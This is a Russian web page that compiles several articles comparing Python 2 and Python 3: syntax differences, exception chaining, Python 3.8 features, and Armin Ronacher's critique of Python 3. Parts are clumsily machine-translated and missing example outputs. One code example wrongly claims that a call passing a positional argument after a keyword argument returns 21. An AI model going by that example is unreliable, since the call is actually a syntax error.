Разное

Отличие python 3 от python 2: Python2 vs Python3: различия синтаксиса

Содержание

Какой Python изучать – 2 или 3? – PyLab

Вы решили стать программистом и изучить Python. И выясняется, что есть Python 2 и Python 3, которые вполне мирно сосуществуют. С чего же начать?

Python2 Вышел в 2000 году и быстро завоевал признание программистов. Когда в 2008 году вышел Python3,  он поначалу был воспринят программистами негативно.
Даже в 2013 году можно было услышать примерно следующее:

Ответьте тому, кто будет пытаться убедить учить Python 3 : «Когда весь код Python на твоем компьютере будет на Python 3, тогда я и попытаюсь его изучить». Это должно занять человека лет примерно на 10. Повторяю, не используйте Python3. Python3 не очень распространен, и, если вы изучите Python 2, вы можете легко изучить Python3, когда понадобится. Если вы изучите Python 3, вам все равно придется изучить Python 2, чтобы что-то сделать. Просто учите Python 2 и игнорируйте людей, говорящих, что Python3 – это будущее.

Но как раз примерно в 2013 году и начался более активный переход на Python 3, потому что пришло осознание того, что Python3 избавлен от багажа недоработок своего младшего брата.

Сейчас уже можно определенно сказать, что Python 2 уходит в прошлое, а Python 3 – это настоящее и будущее языка. Бесспорно, Python2 будет существовать еще долгое время. На Python 2 написано много больших приложений – например, Yelp, YouTube, Reddit, Dropbox – их перенос потребуют значительных усилий.

Определенно, самое очевидное и неоспоримое преимущество Python3 – надежная поддержка Unicode и всех наборов символов. Язык программирования не может быть успешным, если он полностью функционален только в наборах символов Latin/ASCII. Начиная изучать Python 2, люди приходили в отчаяние, пытаясь добиться того, чтобы их код «заговорил» по-русски.

Ну а если я выучу Python3 , а мне нужно будет написать код на Python2, спросите вы. Не волнуйтесь – во-первых, изучить Python 2, зная 3.x, не так уж и сложно, а во-вторых, есть инструменты, которые помогают преобразовывать код 3.x обратно в код 2.x, и наоборот.

На сегодняшний день изучение Python лучше начинать с Python 3, а потом, если нужно, изучить различия с Python 2 – еще и потому, что в Python 3 устранены многие недоработки, которые мешают новичкам спокойно изучать язык.

Поделитесь с друзьями:

Python2 против Python3 | Синтаксис и сравнение производительности

Python 2.x был самой популярной версией более полутора десятилетий. Но сейчас все больше и больше людей переходят на Python 3.x. Python3 намного лучше, чем Python2, и имеет много дополнительных функций. Кроме того, Python 2.x становится устаревшим в этом году. Итак, теперь рекомендуется начать использовать Python 3.x отныне.

Все еще в дилемме?
Вы когда-нибудь задумывались, что разделяет их обоих? Давайте найдем эту вещь ниже.

Прежде всего, давайте пройдем это быстрое сравнение с помощью этого изображения, которое даст вам четкое представление о том, чего ожидать.

Распечатать заявление

Python 2.7 : дополнительные пары скобок не обязательны в этом.

print 'Hello and welcome to GeeksForGeeks'

Python 3.x : дополнительная пара скобок обязательна.

print ('Hello and welcome to GeeksForGeeks')

Целочисленное деление

Python 2.7 :
Тип возврата операции деления (/) зависит от ее операндов. Если оба операнда имеют тип int, выполняется разделение по этажам и возвращается int. Если любой из операндов является плавающим, выполняется классическое деление и возвращается плавающее. Оператор // также предоставляется для деления по полу независимо от того, какие операнды.

print 5 / 2

print -5//2

  

Python 3.x :
Деление (/) всегда возвращает число с плавающей запятой. Чтобы сделать деление по полу и получить целочисленный результат (отбрасывая любой дробный результат), вам нужно использовать оператор //.

print (-5 / 2)

print (5//2)

  

Функция ввода

Python 2.7 :
Когда вы используете функцию input (), Python автоматически конвертирует тип данных на основе вашего ввода.

val1 = input("Enter any number: ")

val2 = input("Enter any string: ")

  

type(val1)

type(val2)

raw_input получает ввод в виде текста (т. е. набираемых символов), но не пытается перевести их во что-либо еще; т.е. он всегда возвращает строку.

   

val1 = raw_input("Enter any number: ")

val2 = raw_input("Enter any string: ")

  

type(val1)

type(val2)

Python 3.x
В Python3 функция ввода действует как raw_input из Python 2.7 и всегда возвращает строковый тип.

val1 = input("Enter any number: ")

val2 = input("Enter any string: ")

  

type(val1)

type(val2)

Круглая функция

Python 2.7 : вывод всегда приводит к числу с плавающей запятой.

print(round(69.9))  

print(round(69.4))

  

Python 3.x : результат возврата с точностью до n цифр.

print(round(69.9))  

print(round(69.4))

  

Список Пониманий

Python 2.7 : см. Пример ниже, как меняется глобальная переменная.

num = 7

print (num)

  

mylist = [num for num in range(100)]

print (num)

  

Python 3.x : в настоящее время нет утечки пространства имен. Это вполне исправлено сейчас.

num = 7

print (num)

  

mylist = [num for num in range(100)]

print (num)

  

Функция диапазона

Python 2.7 :
У этого есть и range и функция xrange . Когда вам нужно перебирать один объект за раз, используйте xrange, а когда вам нужен фактический список, используйте функцию range. Xrange, как правило, быстрее и экономит память.

% timeit [i for i in range(1000)]  

% timeit [i for i in xrange(1000)]

Python 3.x :
Здесь range делает то, что делает xrange в Python 2.7. xrange не работает в Python 3.x.

% timeit [i for i in range(1000)]  

% timeit [i for i in xrange(1000)]

Обработка исключений

Python 2.7 : синтаксис отличается от синтаксиса Python 3.x.

try:

    YoYo

except NameError, error:

    print error, "YOU HAVE REACHED FOR AN ERROR"

  

try:

    YoYo

except NameError as error:

    print error, "YOU HAVE REACHED AN ERROR, YET AGAIN !"

Python 3.x : ключевое слово «As» необходимо включить в это.

try:

    YoYo

except NameError as error:

    print (error, "THE ERROR HAS ARRIVED !")

Список Пониманий

Python 2.7 : меньшие скобки, чем Python 3.x.

[item for item in 1, 2, 3, 4, 5]

[1, 2, 3, 4, 5]

Python 3.x : здесь нужна дополнительная пара скобок.

[item for item in (1, 2, 3, 4, 5)]

[1, 2, 3, 4, 5]

функция next () и метод .next ()

Python 2.7 : здесь используются next () и .next ().

generator = (letter for letter in 'abcdefg')

next(generator)

generator.next()

Python 3.x : здесь используется только next (). Использование .next () показывает AttributeError.

generator = (letter for letter in 'abcdefg')

next(generator)

ASCII, Unicode и Byte типы

Python 2.7 : он имеет строковый тип ASCII, отдельный тип юникода, но нет байтового типа.

type(unicode('a'))

type(u'a')

type(b'a')

Python 3.x : у нас есть Unicode-строки и байтовый тип.

Примечание. Список методов и функций, которые больше не возвращают список в Python 3.x.

In Python2.x - 

zip()
map()
filter()
dictionary’s .keys() method
dictionary’s .values() method
dictionary’s .items() method

Рекомендуемые посты:

Python2 против Python3 | Синтаксис и сравнение производительности

0.00 (0%) 0 votes

Важные различия между Python 2.x и Python 3.x с примерами

Оператор подразделения

Если мы переносим наш код или выполняем код python 3.x в python 2.x, это может быть опасно, если изменения целочисленного деления остаются незамеченными (так как это не вызывает никакой ошибки). Предпочтительно использовать плавающее значение (например, 7.0 / 5 или 7 / 5.0), чтобы получить ожидаемый результат при переносе нашего кода.

print 7 / 5

print -7 / 5    

  

  

функция печати

Это самое известное изменение. При этом функция печати в Python 2.x заменяется функцией print () в Python 3.x, т. Е. Для печати в Python 3.x требуется дополнительная пара круглых скобок.

print 'Hello, Geeks'     

print('Hope You like these facts')

  

  

    

                       

  

Как мы видим, если мы используем круглые скобки в Python 2.x, то это не проблема, но если мы не используем круглые скобки в Python 3.x, мы получаем SyntaxError.

Unicode:

В Python 2 неявный тип str — ASCII. Но в Python 3.x неявным типом str является Unicode.

print(type('default string '))

print(type(b'string with b '))

  

  

Python 2.x также поддерживает Unicode

print(type('default string '))

print(type(u'string with b '))

  

  

xrange:

xrange () в Python 2.x не существует в Python 3.x. В Python 2.x range возвращает список, т.е. range (3) возвращает [0, 1, 2], а xrange возвращает объект xrange, т. Е. Xrange (3) возвращает объект итератора, который работает аналогично итератору Java, и генерирует число при необходимости.
Если нам нужно повторять одну и ту же последовательность несколько раз, мы предпочитаем range (), поскольку range предоставляет статический список. xrange () восстанавливает последовательность каждый раз. xrange () не поддерживает слайсы и другие методы списка. Преимущество xrange () в том, что он экономит память, когда задача состоит в итерации в большом диапазоне.

В Python 3.x функция range теперь делает то, что делает xrange в Python 2.x, поэтому, чтобы сохранить наш код переносимым, мы могли бы вместо этого придерживаться использования range. Итак, функция диапазона в Python 3.x — это xrange из Python 2.x.

for x in xrange(1, 5):

    print(x),

  

for x in range(1, 5):

    print(x),

  

  

Обработка ошибок:

В обеих версиях есть небольшие изменения в обработке ошибок. В python 3.x требуется ключевое слово «as».

try:

    trying_to_check_error

except NameError, err:

    print err, 'Error Caused'  

  

  

    

                    

try:

     trying_to_check_error

except NameError as err:

     print (err, 'Error Caused')

  

  

_future_module:

Это в основном не разница между двумя версиями, но полезно упомянуть здесь. Идея модуля __future__ — помочь в миграции. Мы можем использовать Python 3.x
Если мы планируем поддержку Python 3.x в нашем коде 2.x, мы можем использовать _future_, импортируя его в наш код.

Например, в приведенном ниже коде Python 2.x мы используем поведение целочисленного деления Python 3.x с использованием модуля __future__

from __future__ import division

  

print 7 / 5

print -7 / 5

Выход :

1.4
-1.4

Другой пример, где мы используем скобки в Python 2.x, используя модуль __future__

from __future__ import print_function    

  

print('GeeksforGeeks')

Выход :

GeeksforGeeks

Обратитесь к этому для более подробной информации о модуле __future__.

Эта статья предоставлена Арпит Агарвал . Если вам нравится GeeksforGeeks и вы хотите внести свой вклад, вы также можете написать статью и отправить ее по почте на [email protected]. Смотрите свою статью, появляющуюся на главной странице GeeksforGeeks, и помогите другим вундеркиндам.

Пожалуйста, напишите комментарии, если вы обнаружите что-то неправильное, или вы хотите поделиться дополнительной информацией по обсуждаемой теме

Рекомендуемые посты:

Важные различия между Python 2.x и Python 3.x с примерами

0.00 (0%) 0 votes

Главная разница между Python2 и Python3

Originally published in the Advanced Python Newsletter

«How is Python 3 different from Python 2?»

An excellent question. A hard one, too. Python 3 has hundreds of improvements compared to the last Python 2. Some of these may matter to you a lot. It’s possible most won’t matter to you at all.

Which are which? I have no idea.

But I can bottom line it for you.

We can summarize all the ways Python 3 differs from 2.7 — digest all the things that are new in 3, and will now never be backported to 2 — in one sentence:

Python 3 makes it easier to develop high quality software.

«High quality» means software that is:

  • Less prone to hidden or tricky bugs — i.e., robust and reliable;
  • More straightforward to change over time — in other words, maintainable; and
  • Simpler to troubleshoot and fix when things do go wrong.

You can, of course, create high quality software in Python 2. But the two hundred-ish improvements in Python 3 generally make it easier to do so. Here are three examples.

Evading the Worst Kind of Bug

Imagine a class representing an angle, in the range of 0 to 360 degrees:

  1. >>> # Python 2 code.

  2. >>> class TrickyAngle(object):

  3. ... def __init__(self, degrees):

  4. ... self.degrees = degrees % 360

  5. ...

  6. >>> TrickyAngle(6) < TrickyAngle(5)

  7. True

  8. >>> TrickyAngle(6) < TrickyAngle(5)

  9. False

Whoa, what just happened? The same char-for-char expression, TrickyAngle(6) , evaluated twice, produces two completely opposite values. In Python 2, if you forget to define the __lt__ method on your class, the comparison falls back to using the object's ID. This is effectively a random integer. Whether you get True or False is like tossing a coin:

  1. # In Python 2...

  2. >>> a, b = TrickyAngle(42), TrickyAngle(84)

  3. >>> id(a), id(b)

  4. (4518897296, 4518897232)

  5. >>> id(a) < id(b)

  6. False

  7. >>>

  8. >>> # Exact same code - run it again...

  9. >>> a, b = TrickyAngle(42), TrickyAngle(84)

  10. >>> id(a), id(b)

  11. (4518897040, 4518897104)

  12. >>> id(a) < id(b)

  13. True

This is the worst kind of bug. It’s the kind that easily sneaks its way past the most vigilant unit tests, even rigorous manual testing, all the way into the deployed, production code base. And you won’t even know it’s there, until your most valued clients are screaming at you.

If that’s the worst kind of bug, what’s the best kind? The kind that immediately, unambiguously, loudly announces its presence, in a way that is impossible to miss:

  1. >>> # Python 3 code.

  2. ... class TrickyAngle:

  3. ... def __init__(self, degrees):

  4. ... self.degrees = degrees % 360

  5. ...

  6. >>> TrickyAngle(6) < TrickyAngle(5)

  7. Traceback (most recent call last):

  8. File "<stdin>", line 1, in <module>

  9. TypeError: unorderable types: TrickyAngle() < TrickyAngle()

That’s right: in Python 3, comparing two objects raises a TypeError by default, until you explicitly define an ordering.

This one change is representative of a large class of subtle semantic improvements in Python 3, each of which eliminates many potential bugs. Imagine how much debugging time and frustration they save.

Streamlined super()

I’ll assume you know about Python’s built-in super() function. It’s used in methods, to call a method in the parent class. In Python 2, you use it like this:

  1. import json

  2. class Config(object):

  3. def __init__(self, config_dict):

  4. self.data = config_dict

  5. class ClientConfig(Config):

  6. def __init__(self, json_config_file):

  7. with open(json_config_file) as fh:

  8. data = json.load(fh)

  9. super(ClientConfig, self).__init__(data)

Whenever you call super(), you have to pass in two arguments. These parameters are useful in multiple inheritance, to make your classes cooperate. But in the much more common case of single inheritance, typing in ClientConfig and self are redundant. That’s why in Python 3, you can omit them both:

  1. class ClientConfig(Config):

  2. def __init__(self, json_config_file):

  3. with open(json_config_file) as fh:

  4. data = json.load(fh)

  5. super().__init__(data) # <---- Shorter!

This has two benefits. The first, obvious one is that if the name of ClientConfig changes, the call to super() need not be modified. A small but real maintainability benefit, right there.

There’s also a more immediate, cognitive benefit: you don’t have to think as much when typing out the super line. In Python 2, I always have to take a moment to remember the order of the arguments, or even look it up. (Is it super(MyClass, self) or super(self, MyClass)?) And I have to glance up at what current class I’m in, if I don’t immediately recall its name.

Running into this just once this doesn’t drain much mental energy. But when you’re deep in your focus of coding, even the smallest distraction can disrupt the pictures you’re holding in your mind; having the freedom to just type «super()» in that moment can help maintain your flow. Multiplying over every time you use super, and other improvements like this in Python 3, compounds the effect.

Unmasked Exceptions

Suppose you have the following class:

  1. # Valid in both Python 2 and 3.

  2. class DataSet(object):

  3. def __init__(self, data):

  4. # data is of type list.

  5. self.data = data

  6. def mean_of_positives(self):

  7. '''

  8. Return average of *positive* elements in data set.

  9. '''

  10. # (I'll tell you what's in here momentarily.)

  11. def record_first_element(self, dest_path):

  12. '''

  13. Sample the current data set by writing

  14. first element to a log file.

  15. '''

  16. # (Again, be patient.)

  17. # Now, somewhere in your application:

  18. dataset = DataSet(initial_data)

  19. try:

  20. posmean = dataset.mean_of_positives()

  21. finally:

  22. dataset.record_first_element(sample_file)

Now suppose the code above is run under Python 2.7, and you see the following traceback:

  1. Traceback (most recent call last):

  2. File "chaining.py", line 25, in <module>

  3. dataset.record_first_element(sample_file)

  4. File "chaining.py", line 16, in record_first_element

  5. dest.write(str(self.data[0]) + ',')

  6. IndexError: list index out of range

Pop quiz: what method of DataSet triggered an exception?

Got it? Look carefully. Are you sure?

It turns out there are two different exceptions raised here. In Python 2, the IndexError is the second, and fully masks the first one. But in Python 3, all is revealed:

  1. Traceback (most recent call last):

  2. File "chaining.py", line 23, in <module>

  3. posmean = dataset.mean_of_positives()

  4. File "chaining.py", line 12, in mean_of_positives

  5. return total / len(positives)

  6. ZeroDivisionError: float division by zero

  7. During handling of the above exception, another exception occurred:

  8. Traceback (most recent call last):

  9. File "chaining.py", line 25, in <module>

  10. dataset.record_first_element(sample_file)

  11. File "chaining.py", line 16, in record_first_element

  12. dest.write(str(self.data[0]) + ',')

  13. IndexError: list index out of range

In the try block, mean_of_positives raises a ZeroDivisionError. Before bubbling up, execution jumps to the finally block, where record_first_element raises IndexError.

Python 3’s way of handling the situation is called exception chaining. There are steps you can take to implement this manually, but Python 3 gives it to you for free, so to speak.

This benefits your development process in obvious ways. One that may not be obvious: if your long-running application is properly logging exceptions, this can massively assist with troubleshooting rare bugs that are hard to reproduce. Exception chaining tells you about everything that went wrong, not just the last thing.

All Else Being ==

All else being equal, Python 3 makes it easier to write high quality software than Python 2. These are three changes enabling that, and there are hundreds more.

Of course, things are not all equal. If you’re starting a brand-new application today, there are plenty of valid reasons to write it in 2 instead of 3. There will be for a long time.

And if you have a large existing code base, you definitely want to carefully consider before dropping everything to port it to the new major version. Python 3 brings many benefits, but switching to it does have a cost in time and energy.

There’s another aspect to all this. The examples above don’t convey the new syntax, core language enhancements, and modules exclusively available in Python 3… enabling expressive new patterns, and making a real impact on development speed and productivity. In other words, Python 3 is a more powerful and expressive language as a whole.

That tends to make the language more of a joy to work with. Which arguably doesn’t matter professionally. But as a developer, it might matter to you personally.

In any event, just keep your eyes open, so you can make the authentically best decision for you and your team. And whatever you do, write the best software you can!

Thanks to Simeon Franklin for feedback on a draft of this article.

Новые фичи Python 3.8 и самое время перейти с Python 2 / Хабр

Наступил 2020 год, а значит, Python 2 перестал поддерживаться. Если быть совсем точным, то основные разработчики уже перестали заниматься веткой, а выход релиза 2.7.18, приуроченный к PyCon US в апреле 2020 года, ознаменует полное прекращение любой активности, связанной с Python 2.

С другой стороны, совсем недавно состоялся релиз Python 3.8, добавивший немного синтаксического сахара в язык. Python 3.9 же ожидается ещё нескоро, да и пока не похоже что добавит в язык что-то интересное.

Так что если вы вдруг ещё не отказались от Python 2, то дальше тянуть смысла просто нет: поддержка второй версии уже прекратилась, а переход сразу на 3.8 позволит использовать язык в его самом актуальном состоянии ещё долгое время.

Ну а, чтобы решиться было проще, ниже приведён обзор главных нововведений Python 3.8, которые пригодятся каждому питонисту.

1. Выражения присваивания (Assignment expressions)

Так же известные как «моржовый оператор» (walrus operator) — новый синтаксис, который позволит присваивать значения переменным внутри другого выражения. Это, наверное, самое известное и обсуждаемое из нововведений версии 3.8.

a = 6

# Код ниже присваивает b значение a ** 2
# и проверяет, если b > 0
if (b := a ** 2) > 0: 
    print(f'Квадрат {a} это {b}.') # Квадрат 6 это 36.

Целью введения оператора является повышение читаемости кода, поэтому использовать его (как и все остальные операторы) стоит не при первой же возможности, а только тогда, когда это уместно.

# так делать НЕ НАДО
a = 5
d = [b := a+1, a := b-1, a := a*2]

2. Только позиционные аргументы

Функции могут принимать два типа аргументов.

  • Позиционные — передаваемые по позиции
  • Именованные — передаваемые по имени

В коде ниже, значения обоих аргументов a и b можно передать как по позиции, так и по имени.

def my_func(a, b=1):
    return a+b

my_func(5,2)      # Оба аргумента позиционные
my_func(a=5, b=2) # Оба аргумента именованные

В новой версии Питона можно явно ограничить, какие из параметров могут быть только позиционными или только именованными с помощью символов /  и *  в сигнатуре функции (последний, правда, появился ещё до Python 3.8).

В примере ниже, первые два параметра a и b только позиционные, c и d могут быть любыми, а последние два e и f должны быть именованными.

def my_func(a, b, /, c, d, *, e, f):
    return a+b+c+d+e+f
  
my_func(1, 2, 3, 4, 5, 6)         # ошибка: e, f должны быть именованными
my_func(a=1, b=2, 3, 4, e=5, f=6) # ошибка: a, b должны быть позиционными
my_func(1, 2, c=3, 4, e=5, f=6)   # returns 21
my_unc(1, 2, c=3, d=4, e=5, f=6)  # returns 21

Зачем же ограничивать гибкость типов аргументов? В некоторых случаях использование имени параметра вместо его позиции будет бесполезным и неуместным. Ограничение так же позволит избежать проблем, если вы планируете изменить имена позиционных аргументов в будущем.

3. f-строки 2.0

Сложно описать словами, насколько проще и элегантнее сделали форматирование f-строки, появившиеся ещё в Python 3.6.

Сложно поверить, но Python 3.8 удалось сделать их ещё удобнее. Добавив знак = после имени подставляемой переменной, вы сможете вывести её имя и её значение без дублирования имени.

pi = 3  # В военное время может быть и так

print(f'pi={pi}')  # так мы делали раньше
print(f'{pi=}')     # а так можно делать теперь

Дебаг с помощью print станет ещё удобнее 🙂

4. Обратный порядок элементов словаря

Итерироваться по словарям теперь можно в обратном порядке с помощью reversed().

5. Получение метаданных из других модулей

Новый модуль importlib.metadata позволит получать метаданные (например, версию) из сторонних пакетов.

6. finally + continue

Раньше нельзя было использовать выражение continue внутри finally из-за сложности в реализации этой фичи. Теперь можно. 

for i in range(2):
    try:
        print(i)
    finally:
        print('Тест.')
        continue
        print('Эту строку вы не увидите.')

# Python <= 3.7
>> SyntaxError: 'continue' not supported inside 'finally' clause
  
# Python 3.8
>> 0
   Тест.
   1
   Тест.

Мысли о Python 3 / Хабр

Предлагаю вашему вниманю пересказ замечательной статьи автора Jinja2, Werkzeug и Flask, соавтора Sphinx и Pygments Армина Ронахера. Я получил огромное удовольствие разбирая исходные коды его творений и очень многое для себя почерпнул. Армин пишет отличные фреймворки, и как никто другой может разъяснить, чем чреват переход с Python 2 на Python 3 и почему его не так легко осуществить.

Мысли о Python 3

В последнее время меня часто посещали мысли о состоянии, в котором находится Python 3. Хоть и не с первого взгляда, я полюбил Python и более чем доволен курсом, которым он идёт. Десять лет моя жизнь проходит вместе с Python. И пока это бОльшая часть моей жизни.

Заранее предупреждаю: это очень личная статья. Я насчитал сотню экземпляров одной заглавной буквы в этом тексте.

Это потому, что я очень признателен всем возможностям, полученным за последние два года: возможностям путешествовать по миру, общаться с людьми и разделять дух сотрудничества, который позволяет свободно распространяемым проектам, таким как Python, поощрять инновации и радовать людей. У Python замечательное сообщество, о чём я частенько забываю сказать вслух.

А с другой стороны, хоть я и люблю Python и люблю обсуждать пути и решения, я не связан с проектом какими-либо обязательствами, несмотря на преданность ему. Когда я посещаю совещания о языке, то сразу понимаю, почему мои предложения воспринимаются в штыки, а сам я считаюсь ещё той занозой. «Постоянно жалуется и ничего не делает». Есть столько всего, чего бы мне хотелось видеть в Python, но в конце концов, я его пользователь, а не разработчик.

Когда вы будете читать мои комментарии о Python 3, учитывая что его первая версия уже выпущена, у вас сложится впечатление, что я его ненавижу и вообще не хочу на него переходить. Ещё как хочу, но только не в той форме, в которой он сейчас находится.

Учитывая мой опыт того, что люди ссылаются на статьи спустя много времени после того как они были написаны, позвольте вначале разъяснить ситуацию с Python 3 на момент написания: вышла версия 3.2, следующая версия 3.3 и нет никаких планов когда-либо выпустить Python 2.8. Более того, существует PEP, в котором чёрным по белому написано: релизу не быть. Прекрасно развиваясь, PyPy остаётся проектом, архитектура которого настолько отдалена от всего остального, что его ещё долго никто не будет воспринимать всерьёз. Во многом PyPy делает вещи которые «я бы не сделал» и это мне кажется удивительным.

Почему мы используем Python?

Почему же мы используем Python? Мне кажется, что это очень правильный вопрос, который мы редко себе задаём. У Python есть куча изъянов, но я им всё-равно пользуюсь. На вечеринке, в последний день конференции PyCodeConf этого года, я успел многое обсудить с Ником Кофланом. Мы были подшофе и благодаря этому дискуссия получилась очень искренней. Мы согласились признать факт того, что Python не идеален, как язык, что над некоторыми изъянами продолжается работа и что при внимательном рассмотрении, некоторым из них нет оправданий. Был рассмотрен PEP о «yield from» как пример развития сомнительного дизайна (coroutine как generator) для придачи ему более-менее рабочего вида. Но даже с изменениями принятыми в «yield from», всё это очень далеко от удобства greenlet’ов.

Этот разговор был продолжением услышанного на лекции «Предвзятое мнение о языках программирования», которую читал Гери Бернард в тот же памятный день конференции. Мы пришли к общему мнению о том, что у блоков Ruby восхитительный дизайн, но по многим причинам он не прижился бы в Python (в его текущем состоянии).

Лично я не думаю, что мы используем Python потому, что это совершенный и безупречный язык. Более того, если вы вернётесь в прошлое и присмотритесь к ранним версиям Python то увидите, что он очень и очень уродлив. Не стоит удивляться тому, что в свои ранние годы Python оставался никем незамеченным.

Мне кажется, что размах полученный Python с тех пор, можно считать большим чудом. И вот почему, как мне кажется, мы используем Python: эволюция этого языка была очень плавной, а воплощённые идеи — верными. Ранний Python был ужасен, в нём отсутствовала концепция итераторов и более того, для итерации по словарю приходилось создавать промежуточный список всех его ключей. В какой-то момент исключения были строками, методы строки были не методами а функциями из одноимённого модуля (string). Синтаксис перехвата исключений мучает нас во всех ипостасях языка Python 2, а Юникод появился слишком поздно и частично — никогда.

Однако, в нём было и много чего хорошего. Пускай и небезупречная, идея о модулях с их собственными пространствами имён была восхитительной. Структура языка основанная на мультиметодах* до сих пор во многом не имеет себе равных. Мы ежедневно выигрываем от этого решения, хоть и не отдаём себе в этом отчёта. Этот язык всегда честно делал свою работу и не скрывал происходящее в интерпретаторе (traceback’и, кадры стека, опкоды, кодовые объекты, ast и т.д.), что вкупе с динамической структурой позволяет разработчику быстро произвести отладку и решить проблемы с лёгкостью недостижимой в других языках.

Часто подвергался критике и синтаксис основанный на отступах, но видя, сколько новых языков внедряют этот подход (на ум приходят HAML, CoffeeScript и многие другие) доказывает, что он получил признание.

Даже тогда, когда я не соглашаюсь с тем, как Реймонд* пишет что-то новое для стандартной библиотеки, качество его модулей не вызывает ни малейшего сомнения и это одна из основных причин, по которым я использую Python. Не могу представить себе работу с Python без доступа к модулю collections или itertools.

Но настоящей причиной, по которой я любил и боготворил Python, было предвкушение каждой новой версии, как у нетерпеливого ребёнка, ждущего Рождество. Мелкие, едва заметные улучшения приводили меня в восторг. Даже возможность указывать начало индекса для функции enumerate вызывали у меня чувство благодарности за новый релиз Python. И всё это с учётом обратной совместимости.

Импорт из __future__ — это то, что мы порой так ненавидим и именно то, что делало апгрейды лёгкими и безболезненными. Когда-то я пользовался PHP и совершенно не радовался новым релизам. В PHP не было пространств имён, зато всегда появлялись новые встроенные функции и с каждым релизом я очень надеялся избежать коллизий в названиях (знаю, что мог бы их избежать, если бы использовал префиксы, но это было задолго до того, как я научился основам разработки ПО).

Что же изменилось?

Как же получилось, что мне стало не до новых релизов Python? Могу говорить лишь за себя, но я заметил, что и у других изменилось отношение к новым релизам.

Я никогда не задавался вопросами о том, чем занимались разработчики ядра очередного Python 2.x.

Конечно, что-то было не так уж и хорошо продуманно, например реализация абстрактных классов или особенности их семантики. Но в основном всё сводилось к критике высокоуровневого функционала.

С появлением Python 3 появились и внешние факторы, из-за которых мне неожиданно пришлось изменить общий подход к работе с языком. Раньше я долго не использовал новые возможности языка, хоть и был им рад, т.к. в основном писал библиотеки. Было бы ошибкой использовать самое новое и самое лучшее. Код Werkzeug’a до сих пор забит хаками позволяющими ему работать на Python 2.3, хотя сейчас минимальные требования поднялись до версии 2.5. Я оставлял в коде багфиксы для стандартной библиотеки, ведь некоторые производители (печально известная Apple) никогда не обновляют интерпретатор до тех пор, пока в нём не будет найдена критическая уязвимость.

Всё это невозможно с Python 3. С ним всё превращается в разработку для 2.х либо 3.х. И никакого срединного решения не предвидится.

После анонса Python 3, Гвидо всегда восхищенно говорил о 2to3 и том, как она облегчит портирование. А вышло так, что 2to3 это худшее, что могло случиться с Python.

Я испытал огромные трудности при портировании Jinja2 с помощью 2to3, о чём впоследствии сильно сожалел. Более того, в отпочковавшемся проекте JSON Jinja, я убрал все хаки написанные для корректной работы 2to3 и никогда больше не буду его использовать. Как и многие другие, сейчас я вовсю стараюсь поддерживать код работающий как на версиях 2.х так и 3.х. Вы спросите почему? Потому, что 2to3 очень нетороплива, из рук вон плохо интегрируется в процесс тестирования, зависит от версии используемого Python 3 и ко всему прочему настраивается разве что с применением чёрной магии. Это болезненный процесс, сводящий на нет всё удовольствие получаемое от написания библиотек. Я любил обтёсывать Jinja2, но перестал это делать в тот момент, когда порт на Python 3 был готов, т.к. боялся что-либо в нём сломать.

Сейчас же, идея о разделяемой кодовой базе упирается в то, что я должен поддерживать Python вплоть до версии 2.5.

Перемены вызванные Python 3 привели весь наш код в негодность, что никак не служит оправданием для его незамедлительного переписывания и апгрейда. По моему глубоко субъективному мнению, Python 3.3/3.4 должен больше походить на Python 2 а Python 2.8 должен быть ближе к Python 3. Так сложилось, что Python 3 — это XHTML в мире языков программирования. Он не совместим с тем, что пытается заменить, а взамен практически ничего не предлагает кроме того, что он более «правильный».

Немного о Юникоде

Очевидно, что самым большим изменением в Python 3 стала обработка Юникода. Может показаться, что насаживание Юникода всем и каждому — это благо. А ещё, это взгляд на мир сквозь розовые очки, ведь в настоящем мире мы сталкиваемся не только с байтами и Юникодом, но и со строками с известной кодировкой. Хуже всего то, что во многом Python 3 стал этаким Fisher Price* в мире языков программирования. Некоторые возможности были удалены, т.к. разработчики ядра посчитали, что о них можно будет «легко порезаться». И всё это далось ценой изъятия широко используемого функционала.

Вот конкретный пример: операции с кодеками в 3.х на данный момент ограничены преобразованиями Unicode <-> bytes. Никаких bytes <-> bytes или Unicode <-> Unicode. Выглядит разумно, но приглядевшись вы увидите, что сей удалённый функционал как раз то, что жизненно необходимо.

Одним из самых замечательных свойств системы кодеков в Python 2 было то, что она создавалась с прицелом на разнообразную работу с огромным количеством кодировок и алгоритмов. Можно было использовать кодек чтобы кодировать и раскодировать строки, а также у кодека можно было попросить объект, предоставляющий операции на потоках и других неполных данных. A ещё, система кодеков одинаково хорошо работала с контент- и transfer- кодировками. Стоило написать новый кодек и зарегистрировать его, как каждая часть системы узнавала о нём автоматически.

Любой, кто брался за написание HTTP библиотеки на Python, с удовольствием открывал для себя, что кодеки можно использовать не только для декодирования UTF-8 (актуальная кодировка символов), но например и для gzip (алгоритм сжатия). Это относится не только к строкам, но и к генераторам или файловым объектам, если конечно знать, как ими пользоваться.

На настоящий момент, в Python 3, всё это попросту не работает. Они не только удалили эти функии из объекта string, но убрали и кодирование byte -> byte, взамен ничего не оставив. Если я не ошибаюсь, понадобилось 3 года для признания проблемы и начала обсуждения о возвращение вышеперечисленного функционала в 3.3.

Далее, Юникод протолкнули туда, где ему совсем не место. К таким местам относятся слой файловой системы и модуль URL. A ещё, куча Юникод-функционала была написана с точки зрения программиста живущего в 70-х.

Файловые системы UNIX основаны на байтах. Так уж оно устроено и с этим ничего не поделаешь. Естественно, было бы здорово это изменить, что вообще-то невозможно, не сломав существующего кода. A всё потому, что сменa кодировки — лишь малая часть того, что необходимо для Юникод-ориентированной файловой системы. Вдобавок, вопросы форм нормализации и хранения информации о регистре при уже проведённой нормализации остаются открытыми. Останься тип bytestring в Python 3, этих проблем можно было бы избежать. Однако его нет и его замена, тип byte, не ведёт себя так, как себя ведут строки. Он ведёт себя как тип данных, написанный в наказание людям пользующимися байтовыми данными, которые одновременно существуют в виде строки. Не похоже, чтобы он разрабатывался как инструмент, с помощью которого программисты могли бы решить эти проблемы. Проблемы, которые более чем реальны.

Так вот, если вы работаете с файловой системой из Python 3, то странное чувство не будет покидать вас несмотря на наличие новой кодировки с суррогатными парами и экранированием. Это болезненный процесс, болезненный потому, что не существует инструментa для разгребания этого бедлама. Python 3 как-бы обращается к вам, «Приятель, с этого момента у твоей файловой системы Юникод», но при этом не объясняет, с какого конца надо разгребать этот беспорядок. Он даже не проясняет, на самом ли деле файловая система поддерживает Юникод, или же это Python подделывает эту поддержку. Oн не раскрывает подробности о нормализации или о том, как нужно сравнивать имена файлов.

